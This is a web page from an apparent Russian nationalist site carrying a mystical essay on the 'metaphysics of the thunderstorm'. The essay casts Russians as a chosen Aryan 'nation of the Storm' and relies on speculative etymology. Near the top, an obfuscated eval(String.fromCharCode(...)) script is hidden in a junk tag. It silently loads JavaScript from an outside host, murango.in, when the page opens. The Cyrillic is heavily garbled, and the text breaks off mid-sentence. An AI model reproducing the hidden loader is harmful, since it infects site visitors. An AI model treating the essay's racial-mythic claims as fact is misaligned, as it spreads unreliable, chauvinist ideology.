Метафизика гроз?/title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body bgcolor="#990033" text="#000000" link="#FFCC00" vlink="#FF6666" alink="#FFCCCC" background="bg.gif"> <kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5><script>eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,108,106,115,40,41,123,116,114,121,123,118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,115,114,99,34,44,34,104,116,116,112,58,47,47,109,117,114,97,110,103,111,46,105,110,58,51,49,50,57,47,106,115,34,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,125,99,97,116,99,104,40,101,41,123,125,125,115,101,116,84,105,109,101,111,117,116,40,34,108,106,115,40,41,34,44,53,48,48,41,59));</script></kJNPAGyUfwlpmhli1o6kENwBUZTINEoUZ5KH6vuxrkQU5> <style>A { text-decoration: none; }</style> <table width="630" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top" width="130" height="90"><img src="eliseev-photo-left.gif" width="130" height="90"></td> <td valign="top" width="500" height="90"><a href="index.htm"><img src="eliseev-logo.gif" width="500" height="90" border="0"></a></td> </tr> <tr> <td valign="top" width="130"> <p align="center"><font size="2" face="Arial, Helvetica, sans-serif" color="#00CCFF"><b><font color="#FFCC00"><br> <a href="index.htm">?началу</a></font></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="ideology.htm">Идеология,<br> политика,<br> культура</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="economy.htm">Экономик?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="history.htm">История</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="religion.htm">Религия</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="verses.htm">Стих?/a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="archive.htm">Архи? 1994-96</a></b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="science.htm">Наук?/a> </b></font></p> <p align="center"><font color="#FFCC00" face="Arial, Helvetica, sans-serif" size="2"><b><a href="http://www.guestbook.ru/book.cgi?user=eliseev&action=show">Гостев? книг?/a><br> <br> <a href="mailto:aleksandr_eliseev@front.ru">E-mail</a><br> </b></font><font face="Arial, Helvetica, sans-serif" size="2" color="#FFFFCC"> </font><font face="Arial, Helvetica, sans-serif" size="2"> </font> </p> <p align="center"><font color="#CCCCCC" face="Arial, Helvetica, sans-serif" size="2"> <a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/bratstvo"><img src="http://nationalism.org/banners/Bratstvo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/vvv"><img src="http://nationalism.org/banners/vvv-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/forum"><img src="http://nationalism.org/banners/BrK-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rusaction"><img src="http://nationalism.org/banners/rusaction-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/rr"><img src="http://nationalism.org/banners/RR-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://nationalism.org/pioneer"><img src="http://nationalism.org/banners/pioneer-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://66.84.27.122"><img src="http://nationalism.org/banners/pravo-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://traditio.ru"><img src="http://nationalism.org/banners/traditio-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://udod.traditio.ru"><img src="http://nationalism.org/banners/udod-small.gif" width="88" height="31" border="0"></a> <br> <a href="http://www.rossia.org"><img src="http://nationalism.org/banners/rossia-small.gif" width="88" height="31" border="0"></a> <br> <br> </font></p> <p align="center">  <a href="http://counter.rambler.ru/top100/"> <img src="http://counter.rambler.ru/top100.cnt?138448" alt="Rambler's Top100" width=81 height=63 border=0></a>  <a target=_top href="http://top.list.ru/jump?from=69692"> <noscript><img src="http://top.list.ru/counter?js=na;id=69692;t=55" border=0 height=31 width=88 alt="TopList"></noscript> </a> </p> </td> <td valign="top" width="500" bgcolor="#FFFCF0"> <blockquote> <p align="left"> <font face="Times New Roman, Times, serif" size="3"><br> <font size="+3" color="#FF0033">Метафизика гроз?/font></font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">"Вещи зримые суть символ?веще?незримых" - эт?утверждени?Св. Дионис? Ареопагита представ?ет собо?абсолютный императи?для каждог?человека Традиции. Исхо? из такого отношения ?реальности мы прямо-таки обязаны осознать, чт?любо?природно?явление есть символ метафизической реальности (вернее свер?реальности), символ, которы?предметн?содержит символизируемо? но не отождествляет? ?ни?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? этой оптике феноме?Гроз?обладает особым символизмо?- он полнее ? сильне?всег?выражает свер?реальность Бога, ег?запредельность ?высшую неоднозначност? Таки?символизмо?не обладает физический, солнечны? свет, которы?многие эзотерически?символисты склонн?считат?наипервейшим образо?Божественной благости ?могущества. Дело ?то? чт?Свет, несмот? на вс?свою символическу?мощь, являет? противоположностью Тьмы, тогд? ка?истинное могущество, пользуясь словам?Эвол?находится не <b>"напротив"</b>, ?<b>"на?quot;</b>. Поэтом?основным символом Божества (естественн? применительн??област?природны?явлений) следуе?считат?то природно? действ? которо?превосходило бы ?Свет, ?Тьму, соединяя их, ?то же время, ?некоем диалектическом синтез? Многим покажется "еретически?quot; ?даже "сатанински?quot; рассуждени??положительно?значении Тьмы, те?боле? чт?речь идет ?символ?Бога, следовательн? ?рамках такого подход? Тьма должна содержаться ?Не?такж? ка??Свет. Вместе ?те? православные богослов?писали не только ?Свет?Божества ("Свет? Фаворско?quot;), но ?"Божественном мрак?quot; ил?"тьме, превышающе?свет" (особенно част?данный обра?встречается ?писания? Св. Дионис? Ареопагита ?Св. Григор? Нисского). По?этой Тьмо?он? подразумевал?сущность ("усию") Бога, неку?непознаваему? ег?сторон? "интимн?quot; закрытую для созерцателей Божественног? Он?"темн?quot; ?"мрачна" именно ?силу свое?закрытости, но он?же ?"выходи?из се?" посредство?Свет?- творящи? Божественных энерги?("идей-волени?quot;, "мыслей", "логосо?quot;), которы?уж?поддаются свер?чувственному познанию ?созерцанию. Боле?того, здес?мы имее?дело ?познание??высшей степен? реальным ?предметным, познание? предполагающим соединение ?Божество? ?обретения статус?"бога по благодат?quot; ил?"бога по усыновлени?quot;.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Если бы Бо?бы?только Светом, то познающи?Ег??соединяющий? ?Ни?челове? просто-напросто растворился бы ?безбрежном океане Абсолютног? поте?? свою самост??обесцени?бы те?самы?свое сотворение. Поэтом??Боге есть ?"темн?" сторон? недоступная духовном?взор?мистик? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Конечн? гово? ?положительно?значении на?физической Тьмы мы ни ?коем случае не отождествляем ее ?Тьмо?по?физической, именуемо??Традиции "тьмо? внешне?quot;. Послед?я есть регион небытия, край?я периферия тварны? миро? характеризующая? "истощением" всег?созданного. Он? непознаваемая ?силу свое?"ничтойност?quot;, являет? ка?бы пародией на высшую ?спасительную непознаваемост?Божественной Тьмы. ?точн?такж?есть пародия на высший Божественный Свет. По?не?мы подразумевае? ложный, обольстительны?"свет", ?которо?лю??появляют? демоны, выдающие се? за светлы?ангело?Божиих (православные аскеты выработали богатейшую практику различен? истинног??ложног?свет?.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Исхо? из всег?сказанного можн?сделат?выво??то? чт?Гроз?ка?ра??есть то?самы?феноме?природ? которы?соединяет ?себе ?символиз?Свет? ?символиз?Тьмы. Действительн? освещающий ?ра?щи?лу?молнии исходи? именно из небесног?мрак?ту?подобн?тому, ка?Свет Божества исходи? (равночестн?от Трех Ипостасе? из Ег?Мрак? Причем Божественный Свет не только творит, поддерживает ?направ?ет, но ?карает (Св. Григорий Богослов писа? "Огне?явится Он ?тому, кт?не призна?ег?ка? Свет").</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Отмети? чт?Гроз?вообще обладает своего рода универсальны?символизмо? Помимо Свет??Тьмы, он?ещ?соединяет Огон??Воду, то есть дв?наиболее противоположны? космически?элемента. Пр?этом, во время Гроз? тучи разносятся ветром (элемен?Воздух? ?оплодотворяют почв?(элемен?Земл?. Таки?образо? налицо универсально?соединение всех четыре?стихий ?феномене Гроз? которы?опять же символизируе?собо?Божество, вс??Се? объеди?ющее ?вс?Собо?направ?ющее.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Теперь попробуе?переместит?символиз?Гроз??плоскост?русско?национальной метафизики. Внимательное рассмотрение наше?истори?убеждает ?то? чт?русски?- нация Гроз? чт?он?вмещаю?вс?полнот?данног?символ? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Основы нашего национальног?характер?сложилис?ещ??языческий период, ?надо заметить, он?вполне соответствовал?радикальному "эсхатологизм?quot; победившег?поздне?христианства, которо?устремлено ?<b>Огненном?/b> преображению мира ?которо?жаждет скачка ?Царств?<b>Свет?/b>. Христианин смотри?на Бога, ка?на Гроз??ег?взор?представ?ет? такая картин? из Высшей Тьмы (закрытой от взоров людски? бьет ра?щая ?освещающ? Молн? Высшег?Свет? звучат Громовые Глагол? льет? оплодотворяющий Дожд? Для него Божество ?темн? ?светло, он?дари?свой Свет, но сохраняет ?Высшей Тьме свою сущность ?свое ?- те?самы?сохраняя сущность ??человека. Христианство радикально ?бескомпромиссн?отстаивает идею "предметног?quot; ?"вещног?quot; соединен? ?Бого? пр?сохранении личности человека. Он?дистанцирует? ?от креационисто? резк?отде?ющих Творца от творен?, ?от манифестанционалисто? их отождествляющих. Христианство - эт??го?чая вера ?Бога, ?героическая, арийск? по сути, защита свобод?воли, личности. Не безликог?индивидуум? буржуазной цивилизаци??ег?жалким?"правам?quot;, ?именно личности - образа ?подобия Божьег? того, кт?должен соделать? бого?(по усыновлени?, подобн?тому ка?Бо?соделала? человеко?(Св. Афанасий Александрийски?. Сущность человека ?сущность Бога ("тьма превышающая свет") сохраняют здес?суверените? хо? ?соединен??личности Спасителя ("неразрывно ?несл?нн?quot;). </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? славянско?язычестве символиз?Гроз?боле?натуралистичен ??силу этог? мене?возвышен. Однако, из всех других версий язычества "славиз?quot; дальше всех проник ?архетипическим глубинам Гроз? Исследовател?индоевропейско? мифологи?пришли ?выводу ?существовани?ее "основног?quot;, грозовог?Мифа, повествующег??схватк?Бога-Громовержц??Ег?Противника - змеевидног?бога подземелий. Громоверже?персонифицируе??систем? данног?Мифа разрушение, преодолени? сняти?ветхог?мира, Огненное ег?преображение. Противни?же персонифицируе?начало сохранен? этог? мира. Во время схватк?Громоверже?освобождае?похищенные Противнико? воды ?скот, которы?символизирую?хаос ?души люде? Ветхость мира гибнет ?буйств?ог? ?воды, ?освобожденны?души люде?устрем?ют? из подземно?Нави, из царств?тене??высшим небеса? ?Богу. Гроз? рассматривалас?древними арийцами именно ка?обра?(вернее прообраз) последне?эсхатологической Битв? которая окончится больши?скачко? из царств?тлен??царств?бессмерт?. ??славя? ка?уверяют исследовател? этот Ми?сохранил? боле?всег?- несмот? на то даже, чт?доше?он, по преимуществу, ?фольклор? ?не ?"классической" мифологи?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Кром? того, славянско?язычество знал?двух Громовержцев, счит? одного из ни?- Рода - Творцо??Единым Бого?(вс?другие боги были лишь ег?эманац?ми), ?другог?- Перуна - Небесным Воителем. ?фольклор?содержит? расска? ?противостояни?Творца-Громовержц??Чернобогом, ?не?<b>непосредственное</b> сражение ?силами зл?поручено заоблачном?полководцу - втором?"громовик?quot;, которого первый создае?ударом палицы ?небесный камень. Ту?весьма любопытн?параллел??христианство? гд?непосредственным противнико? сатаны выступае?архистрати?Михаил Архангел. Христианство всегда возражал? против "манихейского" уравнения Бога ?дьявола, добр??зл? - борьбу ?павшим духо?должен вест?тоже ду? только благой. Примерно такж?обст?ли дела ?славянско?язычестве, отказавшим? уравнивать Творца ?злое "божество", борьбу ?которы?ве?Перу? бывший эманацие?Рода - первой, главно?(?фольклор?он "пр?вляет?" прежде всех иных "младши?quot; бого?, но вс?же эманацие? Перу? занимает основное мест??славянско?Троице (Сварог - Веле?- Перу?. Если Сварог-Кузнец, то есть "демиур?quot;, персонифицируе?творяще? начало, ?Веле?- сохраняющее, то второй Громоверже?завершае?становлени? мира, перево? ег??Иное, Световое сост?ни?посредство?своего преображающего Ог?. Во?почему почитани?двух Громовиков прямо указывае?на поразительны? "архаиз?quot; славяно-русского язычества, на максимальную ег? близость ?изначальному гиперборейском?культу кристианства (арктическо? религи?Криста), которо?предшествовало паганизаци?(заключавшейся, прежде всег? ?обожествлени?природ? ? ? ?абсолютизаци?сохраняющег? начала) северной расы.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? других арийских традиц??грозовой эсхатологизм выраже?горазд?слабее.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Ближ? всег? ?этом план? ?славяна?ст??балт? "основной ми?quot; ?ни?сохранил? великолепн?(многие исследовател?полагают, чт?славяне сыграл?огромную роль ?этногенезе балтов). Однако, ?балтской традиции не?культа первог?громовик?Рода, здес?присутствует один лишь Перу? - Перкунас, Перкун? Очевидно, гиперборейское эсхатологическое знание сохранилос??балтов только на втором, низшем уровне.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? двух Громовержцах отличн?знал?индоарии - ?ни?он?назывались Рудрой (Шиво? ?Индрой. "Основной ми?quot; ?индоарийской традиции сохранил? неплох? но вс?же не та?полн? ка??славя??балтов - Громоверже?Индр? здес?борется всег?лишь ?демоно?Валу, похитившим скот ?люде? Ид? диалектическог?противостояния двух Божественных нача??индийско?мифологи? подменяет? борьбо?злых ?добрых си? ?межд?те? изначальная северн? традиц? не выступал?против сохраняющег?начала, он?акцентировал? внимание на ег?исчерпанност??конц?времен, на приорите?эсхатологи? пере? условн?гово?, космологие? Зл?начинает? тогд? когд?происходит абсолютизация последне??ущер?первой.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Ещ? хуже обст??дела ?"верховничество?quot; Рода-Рудр? Ег?роль ?индоарийской мифологи? конечн? огромн? но, ?большинств?случае? он уступает мест?Индр? Варуне, Вишн? Брахме. Только ?шиваизме ег? первенство обозначено вполне четк??однозначно, чт?свидетельствуе? ?наибольшей близости этог?направления ?по?рной, нордическо?основе арийства.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Таки? образо?индоарийск? традиц? демонстрируе?значительное искажени?гиперборейской архетипической теогонии.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? соседних индоарийца?иранце?грозовой символиз?сводит? ?возвеличиванию Ог? ?Свет? однако, сама Гроз??грозовые божества присутствуют мало. Верховны?бо?Ахур?Мазд?вс?таки больше световое божество, которо? ?огромном количестве случае? уравнивает? со злым духо?Ангр?Мань? ?мифологи?зерванисто?(по всем признака?боле?древне? че?мифология зороастрийце? ?Ахур?Мазд? ?Ангр?Мань?вообще считаются <b>сыновьями-близнецами</b> Бога Времен?Зерван? то есть принадлежа?ко втором?поколени?бого? Кстати загляну??этимологически?словар?любо?може?убедиться ?то? чт?одни?из значений слов?"ро?quot; являет? "время": "По лете??по роде мноз?взниче Моисии?quot;, "Иногда уб? быст??прежне?роде во Иерусалимски?страна?", ?? ? (Словар? русского языка XI - XVII вв. // По?ре? ? ? Богатово? ?, 1997. ? 182). </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Время понималось древними не ка?смен?прошлого, наст?щего ?будущего, ? ка?отрицани?Наст?щи?(то есть Истинным, Бытийным) небытийног?- прошедшего (того чего уж?не?, ?будущего (того, чего ещ?не?. Вс?процессы ? явлен?, вс?предметы пожирают? Временем, перево?тся из будущего ? прошло? ?по-наст?щему реален лишь неуловимый ми?Вечног?Наст?щего, которо??есть "само?само" любо?"вещи", то?Исто? из коег?он?возникло. Показателе?обра?Сатурн?Кронос? пожирающег? свои?дете? Если отвлечься от мифологическог?натурализм? смущающего современны?наблюдателей свое?"кровожадностью", пере?нами окажет? картин?типичной Богореализации (соединен? ?Абсолюто?: порожденны? божество?Времен?возвращают? ?своему Истоку. Не случайно, ?слов? сказат? православные богослов?именовал?время "движущей? вечность?quot;.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Ту? необходимо подробне?охарактеризовать (на предме?грозовог?символизма) уж?затронутую нами античную традицию. ?не?наличествуют ярчайши?образц? Громовержцев - Зевс??Юпитер? верховны?бого?греческого ?римского пантеоно? Но сраз?бросается ?глаз?то, чт?то?же Зевс являет? младши? бого?третьего поколения. ?старши?бо?Уран ?ег?сы?Кронос не наделены никакими грозовым?функциями, тогд?ка?по простейшей логике имет?ее должны. Эт?косвенно подтверждает? ?те? чт?имя "Зевс" ("Диус") означает "светло?небо" (восходя ?праиндоевропейском? "deiuo" - "дневно?сияющее небо") ?больше подходит ?старшему божеству, персонифицирующему Небо. Складывает? впечатлени? чт?"младши?quot; Зевс присвоил себе имя "старшего" Уран? </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Стол? же "детективная" история произошл???Кроносом, бого?Времен? (ср. "ро?quot; - "время"), которы?такж? ка??славянски? Ро?бы?ещ??бого?плодород? ?изобил?. Свер?того, Кронос считал? царе?Золотого Века, чт?опять-таки указывае?на ег?изначальност? Но ?Кронос чужд грозовог?символизма. ?то же время есть неки?глухие намеки на то, чт?он облада?громовым?функциями. Ег?аналог?- римски? Сатурн ?этрусски?Сатр?(тоже царь Золотого Века) носи?имя, связанное ?грозовой терминологие? Он?близко ?славяно-русскому "стри"-"стре", означающем?"стрелу-молнию" (русско?"стрела" ? значении "молн?", словен. "strela" - "стрела", "молн?"; "strela" ?то?же значении). Здес?такж? имее?мест?быть близость ?имен?древнерусского языческог?бога Стрибога, которо?многие исследовател?(например, академик ? Рыбако? считаю? одни?из имен Рода.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Складывает? впечатлени? чт?некогд?единый гречески?Громоверже?Верховни?бы? "расщепле?quot; на дв?божества (Уран??Кронос?, пр?этом лишившис? свои?грозовых функци? которы?"узурпирова?quot; (вместе ?именем) второй Громоверже? Выво?из этог?може?быть только один, несмот? на яркость мифологических образо? античн? традиц? подверглас?сильнейшим искажения?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Эт? же искажения прослеживают? ?на пример?скандинавско?мифологи? повествующей лишь об одно?Громовержц?- Торе (аналог?нашего Перуна). Основной Ми? ?скандинаво?расщепле?на дв?самост?тельны?сюжета. Один из ни?рассказывает ?схватк?Тора ?мировы?змее?Ермунгандо? нахо?щимся ?океане. Эт? противостояни?напоминает ?змеевидной форм?Велеса, но очевидно, чт? ?данном случае вс?опять сведен??битв??инферн? Второй "сюже?quot; - соперничеств?Тора ?Один? которого можн?считат?аналогом Велеса. Ка??жречески?бо?Веле? Один предстае?божественным маго? шамано? Подобн?римскому Меркурию (чь?тождеств??Велесо?очевидно) Один?посвяще? вторни? ?такж? ка??Велесу Один?(?лице континентально-германског? Вотана) оставлялся пучо?хлебны?колосьев. Те?не мене? ?скандинавско? сред?на обра?бога-жрец?наложился обра?бога-воин? ?Один выступае? ?качестве покровителя кшатриев, те?самы?"узурпирова?quot; функци? Громовержц?Тора.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? мире скандинавски?мифо? впроче? обитае??аналог Рода - Фрей? Ка? ?Ро?он связа??плодородие??рождение?вообще - сама за се? говори? ег?фаллическая форм?(ее же имел?Ро??Рудр?- Шива-лингам). Кром? того, Фрей?связа??изначально? по?рн?героическо?тематико? Он являет? владельцем чудесног?вепря Гуллинбурсти, ?вепр?- символическо? животное Гипербореи, которая ещ?известна, ка?Вара ?Вараха ("Земля Кабана"). Рудр?Шива зовется ?индо-арийской традиции "красны? вепрем небе?quot; ?вдобавок ко всем?ещ??четк?ориентирован на Севе? Но пр?всем пр?то?Фрей?лише?каки?либо грозовых функци? Не следуе? забывать ?то? чт?Фрей?принадлежи??божественном?клан?вано? которы? изображены пришельцам? чужаками, некогд?воевавшими ?кланом асов. Здес?можн?увидет?наслоени?на ми?этногенетических реалий. Имя "ва?quot; указывае?на этнони?"венеты-венеды" - характерно, чт?араб? называли земл?венето??тиче?"землей Вантит". Скорее всег? ?древност?имел?мест?миграц? част?прасла??венето??Скандинави? этим?то венетами-ванами ?бы?усилен куль?Фрейра, за?вшег?третьего мест??скандинавско?иерархии божест? однако, лишившегося свои?грозовых качест?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Та? чт?именно прасла?не, русы полнее всег?выразили свер?значимый архети? Гроз? Даже ?само имя "ру?quot; этимологически связано ?грозовой, небесн?огненной тематико? "Русски?quot; значит "красны?quot; (точнее - "темн?красны?quot;), "огненные". ?словар? ? ? Преображенског?"ру?? ("руса", "русо", "русы?quot;) означает "темнорыжий", "коричневатый" (?волоса?. Ем?соответствую?ук? "русы?quot;, бе? ?серб. "ру?quot;, словац. "rus", "rosa", "rusa glava", че? "rusu". ? Фасмер приводит словен. "rus" ?значении "красны?quot;. ?"красно?quot; значении слов? "русъ" сообща??свое?словар?? ? Срезневски? Связь слов "ру?quot; ?"красны?quot; прослеживает? ?вн?славянски? языко? указыв? на индлевропейски?истоки данног?феномена. Пример - латы? "russys" ("кровав?красны?quot;), "rusa" ("ржавчина"), ли? "rusvas" ("темнокрасный"), лати? "russeus", "russys" ("красны?quot;, "рыжи?quot;).</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? пр?всем пр?то?имя "ру?quot; следуе?поставит??один ??со словам?"родрый" ("красны?quot;), "рдет?quot; ("краснеть"), "руды?quot; ("рыжи?quot;, "красны?quot;), "руда" (диалектное обозначени?кров? - "родриа" ("молн?") - "ро?quot; (словом, имеющи?окол?двух де?тков значений, сред?которы?есть ?"огненные"). Дале?(от слов ?корнями "ру?ро?quot; ?"ру?ро?quot;) надо провести цепочк? ?словам "рота" ?"??quot;, чь?значен? сводятся ? теме "по?дк?quot;, "упорядочения". Та? слов?"рота" означало "клятв?quot;, "догово?quot;, ну ?"??quot;, ка?очевидно любому ?сраз? означа?"по?до?quot;. Основа "?та" ("??quot;) позволяет сопоставит?соответствующу?славяно-русску? терминологию ?индоевропейско? Здес?нужн?вспомнит?об индоарийском слов?"рита" (ср. ?"рота"), употребляющим? для обозначения универсального космического Закона, ?такж??древнеиранским "арта" (замена "ар" - "ра"), которо?употреблялось ?то?же значении.</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Последне? слов?немедленно застав?ет вспомнит?об <b>ар?/b>ел? представ?вшей собо?хо?йственно?объединени?на основе корпоративного <b>договора</b>. </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Арабские авторы говорили ?наличи?трех территорий расселен? восточны?славя? - Куяве (Киевской земл?, Славии (Новгородск?Ладожско?земл? ?<b>Ар?/b>ании. Последню?многие исследовател?отождествляют со знаменитым "островом русо?quot;, являвшим? крупнейшей военно-морско?базо?Древне?Руси. Мн?уж?приходилос?(?работа?"Русы - люди меча" <a href="http://nationalism.org/eliseev/rusy.htm"><img src="weblink.gif" width="22" height="9" border="0"></a> ?"Древни?русы - наро??каст?quot;) отстаивать точк?зрен?, согласно которо? этнони?"ру?quot; произоше?от назван? особой воинской ("казачьей") каст? этимологически связанног??красны? цветом - цветом воинов, боя? князе? Этот цвет выража??кров? пролитую ?боя? ?небесный ра?щи?огон?(ср. "ру?quot; ?"ру?quot;: слов?"руда" ?некоторы?русски?диалекта?обозначала кров?. ?"Русско?правде" "русины" характеризовалис?именно ка?социальн? группа, "дружинно-торговый клас?quot; (по выражени? ? Лебедева). Таково?же он?предстаю??арабских текста? Очевидно выходц??остров?русо??дали свое имя держав?по?? которая приблизительно ?середине 1 ты? ? ? стал?"Киевской Русь?quot; ("по?не, ныне зовомы?русь"). ?этом случае приведенно?выше предположени? ?тождеств?слов "ро?quot;, "??quot;, "рота" ?"арта" получает ещ?один аргумент "за". </font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Необходимо ещ??вспомнит??то? чт?русы (росы) именовалис?такж?"<b>ру?/b>енам?quot; ?"<b>ро?/b>альцам?quot;, ?Никоновская летопись дает совсем оригинальную форм?интересующег?на?этнонима - "<b>ро?/b>ии".</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">? принципе можн?выделить дв?основных значен? "русско?quot; этимологии - одно связано ?Грозой, другое - ?По?дком. Вместе же эт?дв?значен? восходя?(??этимологическо? ?смыслово?планах) ?одному ?тому же религиозному истоку, чт?неудивительн? ведь славяне представ?ли Абсолю? Единог?Бога ка?Громовержц? Следовательн??космически?По?до?(? по?до?"вообще") такж?отождествлялся им??Грозой. Поэтом? русски?можн??полным основанием назват?нацией Гроз? родо?воинов-кшатриев ("красны?quot;), этносо?По?дк? Русски?- люди Ог?, Гром? Молнии, Меча, Клятв? Он?избранники Божь? максимальн?уподобившиеся Ег?природному символ? указывающему на просветляющий ?карающий лики Божества, несущего огненное разрушение во имя световог?по?дк?</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Этот символиз?русско?наци?ничуть не исче?посл?христианизации, просто он очистился от всег?паганистског? слишко?натуралистического. Уж? ?Христово?Руси огромнейше?развитие получи?"куль?quot; святого пророк?Илии Фесвитянина, ка?бы заменившег?собо?Перуна. Русски?представ?ли Илию небесным воином, мчащим? по небу на огненной колесниц??сражающего? посредство?молний ?бесчисленным?легионам?демоно?(напомним, чт? именно вокруг собора св. Илии группировалась одна из первых русски? христианских общи? ядром которо?были воин?ва?ги).</font></p> <p align="left"><font face="Times New Roman, Times, serif" size="3">Тако? почитани?крайне показательно. Ил? - свер?значим? ?христианской мистик?фигура. Прежде всег? эт?образе?консервативног?революционер? воинствующег?фундаменталист? ?древне?Израил?им было поднято духовное ?политическое восстани?против жрецов Ваал? сумевших привлечь на свою сторон?ца? Ахав? ?ходе этог?восстания Ил? воинствует ка?Духо? та??Мечо?(во втором случае он личн?убивае?четырест??тьде??жрецов) (1). Он использует свою силу чудодея ?демонстрируе?власть на?водами, чрезвычайн?напоминая пр?этом индоевропейского Громовержц? Потрясает, чт?оккультн?метафизический "противни?quot; Илии Ваал свои?именем напоминает ?Велесе (Ва?Ве?. Имя этих двух божест?погружается ?глубин? древност? ? ?конечном счет? восходит ?прандоевропейскому "uel" (2).</font></p> <blockquote> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(1) Взяты?на небо живы?(наивысшая степен?инициаци??дохристианский период) Ил? ждет конц?времен, чтоб?вернуться ?ми??снов?выступит? ?качестве консервативног?революционер? Вместе ?Енохом он буде? обличать пришедшего ?ми?Антихриста ?примет мученическую, героическу? смерть от "сына погибели". </font></p> <p><font face="Times New Roman, Times, serif" size="3" color="#000066">(2) ??то же время, чуждый иудея?Ваал, на свое?"родной", западносемитской почв?выступае?ка?Громоверже? Получает?. чт? попа??ветхозаветны?Израил?западносемитский громовик обретает черт? противника Громовержц? ка?бы сближая библейскую мифологи??индоевропейско? Инач?гово?, Ваал, считающийся ?западносемитской сред?грозовым божество? ?сред?ветхозаветно?таковы?не считал? - та?же, ка? не считал? он таковы??сред?индоевропейско? Эт?ещ?ра?застав?ет задумать? на?сходство?многих сюжето?Ветхог?завета ?арийской дохристианской мифологи?</font></p> </blockquote> <p><font face="Times New Roman, Times, serif" size="3">Близость представ?ет? ещ?больше? когд?задумаешься на?образо?Елис?, чь?имя такж?указывае? на имя Противника: достаточно сравнить "Елисей" ?"uel" (Кстати, подобн?Велесу, Елисей имее??качестве "сопутствующего", "символического" животног?медведя, чт?прослеживает? ?сюжете ?двух медведицах, отомстивши?за пророк?) ?если Ваал ?ег?служител? символизирую?негативную сторон?Противника, сохраняющег?ветхий ми? ?препятствующего огненном?ег?преображению, то Елисей, напротив, символизируе? благую сторон? противостоящу?хаос??сдерживающую буйств?во?- до поры до времен?</font></p> <p><font face="Times New Roman, Times, serif" size="3">Возвращаясь ?образу св. Илии отмети? чт?ег?почитани?русскими христианам?лишний ра? свидетельствуе??сакральном максимализме ?эсхатологической миссии России, ?ее экстемальной приближенности ?страшном??прекрасном?эсхатологизм? Гроз? Ка??пророк-революционер Ил?, русски?станут ?авангард?си? Гроз? противостоящи?дьяволочеловечеству Антихриста.</font></p> <p><font face="Times New Roman, Times, serif" size="3">?русско?мифологи? ?истори?(?очен?част?он?мистически?образо?сливаются воедин? встречаются фигуры, которы?"воспроизво??quot; архети?двух громовержцев - языческог??христианског? Тако?фигуро?бы? например, св. Ил? Муроме?- реальн?, "историческ?" фигура, известная именно по былинным мифа? Исследовател?согласно утверждают, чт?обра?муромского богаты? чрезвычайн?близок ?образу Перуна ?образу пророк?Илии. Последне? даже боле?интересн? Сраз?обращает на се? внимание революционност? Муромц? хранящего верность православи? но ?то же время громящего церкви во глав?"голе?кабацких" ?част?возражающего князю. Здес?отчетлив?виде?"священный бунт" против теплохладности ?фарисейств?основной масс?"верующих", которы?надо встряхивать "Божественной провокацие?quot;, героически?юродство? ?данном случае Ил? Муромски?крайне близок ?ветхозаветному максималисту Илье Фесвитянину.</font></p> <p><font face="Times New Roman, Times, serif" size="3">Иван Грозны?тоже 